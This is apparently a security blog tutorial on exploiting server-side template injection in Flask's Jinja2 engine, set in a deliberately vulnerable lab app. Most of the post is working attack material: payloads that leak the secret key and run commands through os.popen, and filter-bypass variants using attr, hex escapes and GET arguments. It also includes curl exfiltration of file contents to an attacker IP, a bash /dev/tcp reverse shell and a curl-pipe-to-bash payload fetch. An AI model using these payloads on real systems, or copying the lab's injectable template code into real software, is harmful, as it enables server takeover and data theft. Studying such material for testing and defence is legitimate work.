Deep Dive into Flask Server Side Template Injection
On this post we will take a deep dive into Jinja2 templating engine on the Flask framework, Knowing How to abuse it and bypass different filters to get a reverse shell or leak data.
Templates in web Development
Templates in web development are pre-designed, reusable structures used to dynamically generate HTML content. They allow developers to separate the presentation layer from the business logic, making it easier to manage and maintain web applications. Templates typically contain placeholders or variables that are replaced with actual data during rendering.
For example each time someone visits this website a new html will be generated depending on the ip address of the user :
<h1>Welcome ! this is your ip address: {{ ip }}</h1>
SSTI Vulnerability
This approach of using Templates can be abused by what’s called Server-Side Template Injection (SSTI), It is a type of security vulnerability that occurs when an attacker is able to inject malicious input into a template, which is then rendered on the server. This can happen if user input is directly embedded into a template without proper sanitization or validation. SSTI vulnerabilities can lead to severe consequences, such as data leakage, unauthorized access, and even remote code execution, depending on the capabilities of the template engine and the underlying system.
On this post we will take a deep dive into Jinja2 templating engine on the Flask framework, Knowing How to abuse it and bypass different filters to get a reverse shell or leak data.
Flask + Jinja2 Fundamentals
here is a simple jinja2 template let’s say for a search page
<div>
<h1>You Searched For: {{ search_w }}</h1>
</div>
now on the calling blueprint we will have this python code:
@app.route('/search')
def search():
search_k = request.args.get('search_word', '' )
return render_template('article.html', search_k=search_k)
passing search_k
as a second parameter to the render_template
function will expose this variable to the template , hence it will print the searched keyword.
Also, it is important to know that Jinja2 has a quite elaborate templating syntax.
We can also have, for example, loops and conditions in these templates. Most importantly, however, the {{ }}
placeholders have access to the actual objects passed via Flask.
From Python Objects to Command Execution
Since Everything on python is an object, having access to those global objects on the templating engine will allow us to navigate the inheritance tree of objects and get to the builtin modules of python such as 'os'
which will then give us the ability to execute commands on the server!
Enough theory and let’s get our hands dirty
Getting The Playground ready
let’s setup a vulnerable flask app and play with it
Copy and paste the following code to your app.py file
from flask import Flask, request, render_template_string
app = Flask(__name__)
app.secret_key = "super secret"@app.route("/")
def home():
if request.args.get('name'):
name = request.args.get('name')
with open ('templates/cheers.html', 'r') as f:
temp = f.read()
temp = temp.replace('{{ name }}', name)
return render_template_string(temp)
else:
return "Hello there!"if __name__ == "__main__":
app.run(debug=True, port=3000)
note : this code is inspired from an HTB machine I was pwning.
now copy this into ./templates/cheers.html
file
<html>
<body>
Cheers {{ name }}
</body>
</html>
Installation
sudo apt-get install python-pip
pip install flask
python app.py
Messing with it
this section will focus on building an RCE payload from the ground up, each time adding more filters and bypassing them.
Leaking the secret key
Flask uses a secret key to sign sessions , having access to it will allow you to fake sessions and disguise as any other user.
This secret key is stored in the config object , which is exposed to the templates by default in flask. to access it on our vulnerable app we simply send get request to this url
/?name={{config['SECRET_KEY']}}
this exposed the secret key of the application
Getting RCE (the simplest way possible)
In order to execute a command on the server we need to get access to the os module, here is how to do it navigating the inheritance tree:
/?name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
running that will give us the output
we have RCE !
on real world situations it will be more complex than that because a lot of applications use blacklists to prevent us from using some characters.
on the following section we will discuss how to bypass most filters.
Bypassing filters
we will start by a simple blacklist that looks like this blacklist= ['.']
to bypass that we simply access the objects using the indexing syntax like following:
/?name={{request['application']['__globals__']['__builtins__']['__import__']('os').popen('id').read()}}
this will work exactly like the other one.
now let’s make it blacklist = ['.', '[', ']', '_']
here we are not allowed to use the [] syntax nor . syntax, to bypass that blacklist we use a filter in jinja2 called attr this filter is simply a function that gets the attribute you specify from the object preceding the filter call, here is an example usage would be:
{{ request|attr('application') }}
# this is the same as :
{{ request.application }}
# or
{{ request['application'] }}
now there is one other thing we should bypass for our payload to work which is ‘_’ filter.
to bypass it there are two methods I know:
- using hex literals:
- using GET arguments
1. using hex literals
we can simply replace _
with \x5f
so:
"\x5f\x5fglobals\x5f\x5f" === "__globals__"
if the \
or x
are also filters we use the second method.
2. using GET arguments
to get our __
bypassed we send some additionnal GET arguments along with our request containing the filtered words.
Here is how:
first to access get arguments on flask we need to get request.args.get('arg_name')
since .
is filtered we use the attr method:
/?name={{ request|attr('args')|attr('get')('g') }}&g=__globals__
this will output the following:
Final payload
here are the final payloads to get RCE on the following blacklist=['.', '[', ']', '_']
# using hex method
/?name={{request|attr('application')|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fimport\x5f\x5f")('os')|attr('popen')('id')|attr('read')()}}
and we get :
what is that ?!
That used to work , however in latest versions of python it will not work I’m not sure why this happens , if you know why I would be very thankful if you tell me.
how to do it then ??
I discovered this method while solving an HTB challenge called DoxPit ( it is an amazing challenge by the way) , when I was reading the documentation of jinja2 builtin filter (attr) I found it tries to access the __getitem__
method of the object it is being called on. (not sure why it didn’t do that on our case)
so I tried to accss that object diectly.
instead of using |attr('__builtins__')
we access |attr('__getitem__')('__builtins__')
new payload:
/?name={{request|attr('application')|attr("\x5f\x5fglobals\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')("\x5f\x5fimport\x5f\x5f")('os' )|attr('popen')('id')|attr('read')()}}
and that will work just fine !!
using the get args method is a bit longer :
/?name={{request|attr('application')|attr(request|attr('args')|attr('get')('g'))|attr(request|attr('args')|attr('get')('gi'))(request|attr('args')|attr('get')('b'))|attr(request|attr('args')|attr('get')('gi'))(request|attr('args')|attr('get')('i'))('os')|attr('popen')(request|attr('args')|attr('get')('cmd'))|attr('read')()}}&g=__globals__&b=__builtins__&i=__import__&gi=__getitem__&cmd=ls
Here is the break down of it:
request|attr('args')|attr('get')(param)
: this will be replaced with param valueg=__globals__
b=__builtins__
i=__import__
gi=__getitem__
cmd=ls //can be replaces with any command
And that will definitely WORK hehe!
Bypassing {{}} filter
you may noticed that we used {{ }}
in evey single payload so far, so what if it is also filtered ??
in order to avoid using {{ }}
and still get our payload to be executed we can use the {% %}
block.
It is typically used in if statements, for loops and defining blocks, however we can use it to execute our payload in a type of attack similar to a blind sql injection, here is how:
In an IF statement, to compare two values, the server must first evaluate each one. Therefore, if we pass a function call as one of these values, the server must execute the function to determine its value, hence executing our payload!
for us to know if the command got executed we can use nc
or curl commands to verify.
we first setup a listener using nc -nlvp 5555
we craft the following command and inject it on the previous payload
ls . | nc 192.168.29.96 5555
then we nailed it !
Exfiltrating Data using curl
here is a simple way to exfiltrate/leak content of a file using curl.
we create a fake flag file in the app directory:
we setup an http server to receive curl traffic:
we craft the command:
curl http://IP:PORT?exfil=$(cat flag.txt | base64)
//note that we base64 encoded the content to be passed to the get parameter without issues of url encoding
injecting it into the previous payload we get :
now decoding the “VEVTVHtmbGFnfQo=” base64 string we get the content of the flag.txt file i created:
Getting a reverse shell
setup nc listener .
craft the reverse shell and save it to payload.sh file on the attacker machine:
#!/bin/bash
bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"
now the we setup the command to download the rev and execute it:
curl IP_python:PORT/rev.sh | bash
set up the python http server to host the revshell and inject the command.
We gettt he ev shelll
Conclusion
In this deep dive into Server-Side Template Injection (SSTI) vulnerabilities in Flask (Jinja2), we’ve explored the nuances of how these vulnerabilities arise, their potential impacts, and how to effectively exploit them. SSTI poses a significant risk as it can lead to severe consequences such as data leakage, unauthorized access, and remote code execution, which can ultimately compromise the entire server.
I hope you learned some new techniques from this post and found it helpful.
See you on another one!